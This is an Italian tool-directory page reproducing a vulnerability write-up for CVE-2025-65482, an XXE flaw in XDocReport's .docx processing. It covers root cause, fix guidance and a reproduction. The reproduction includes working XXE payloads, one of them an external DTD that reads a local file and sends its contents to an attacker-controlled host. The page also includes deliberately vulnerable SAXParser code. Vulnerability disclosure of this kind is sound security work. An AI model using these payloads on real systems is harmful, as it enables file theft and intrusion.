Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Strumenti/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiPaper e RicercaApprendimento e Formazione
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Vedi Repository
11010 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-65482 (XXE)

Iniezione di Entità Esterna XML (XXE) in XDocReport

Definizione del Bug

Iniezione di Entità Esterna XML

Panoramica della vulnerabilità

  • L'iniezione di Entità Esterna XML (XXE) è una vulnerabilità nell'elaborazione di dati in formato XML, in cui l'utente inserisce dati XML che fanno riferimento a un file o sistema esterno. Un attaccante può utilizzare questa vulnerabilità XXE per scansionare altri sistemi alla ricerca di porte di servizio aperte, richiedere file segreti e accedere a funzionalità di sistemi connessi altrimenti non disponibili. Da qui, l'attaccante può estrarre dati, interagire con i sistemi e causare interruzioni del servizio tramite l'inserimento di XML.

Impatto aziendale

  • XXE può portare a danni reputazionali per l'azienda a causa della perdita di fiducia e credibilità da parte degli utenti. Può anche portare a furto di dati e perdite finanziarie indirette per l'azienda attraverso i costi di notifica, correzione e violazione dei dati PII.

Gravità ALTA

image

Descrizione e Impatto

Il sito web di gestione del personale consente agli utenti di caricare file .docx sul sistema. Durante l'elaborazione, l'applicazione utilizza la libreria fr.opensagres.xdocreport.document.docx che contiene una vulnerabilità XXE quando passa il file .docx dell'utente attraverso SAXParser

Componente affetto

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Analisi della causa principale

la causa è l'uso di Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

Cioè Apache POI si trova molto in profondità, nel modulo:

org.apache.poi.xwpf.converter.core

image

L'errore si verifica perché XDocReport (nel modulo fr.opensagres.xdocreport.document.docx) utilizza Apache POI per leggere i file .docx, e POI utilizza il SAXParser predefinito di Java senza disabilitare le funzionalità che consentono l'elaborazione di DTD ed Entità Esterne. → Ciò permette all'attaccante di inserire un DOCTYPE con un'entità che punta all'esterno (SYSTEM "http://...") o a un file interno (file:///...) → generando XXE.

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Procedura di riproduzione

  • Decomprimere un file docx qualsiasi
unzip ../vcspentest.docx

image

  • Modificare il contenuto del file document.xml nel docx
nano word/document.xml

image

modificare con il payload outbound per passare attraverso il collaborator come segue:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • ricomprimere in un file poc
 zip -r ../poc.docx *

image

image

  • caricare il file docx modificato per l'elaborazione da parte di xdocreport

image

  • Risultato: si vede una richiesta inviata al collaborator

image

  • Aumentare l'impatto leggendo file nel sistema
  • host della macchina che memorizza il file dtd sul wsl 172.26.208.130. con il contenuto del file vcspentest.dtd come segue:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

modificare il file word/document.xml nel file .docx con il seguente contenuto per caricare il dtd esterno dalla macchina wsl:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • comprimere il file in .docx e caricare il file sul server per l'elaborazione

image

image

  • sulla macchina wsl si vede una richiesta inviata con il contenuto del file D:/vcspentest.txt sul server target

image

image

Soluzione

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

Nel codice o a livello di configurazione del parser XML, è necessario disabilitare tutte le funzionalità relative a DTD ed entità esterne.

correzione simile a questo codice

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
Scarica lo strumento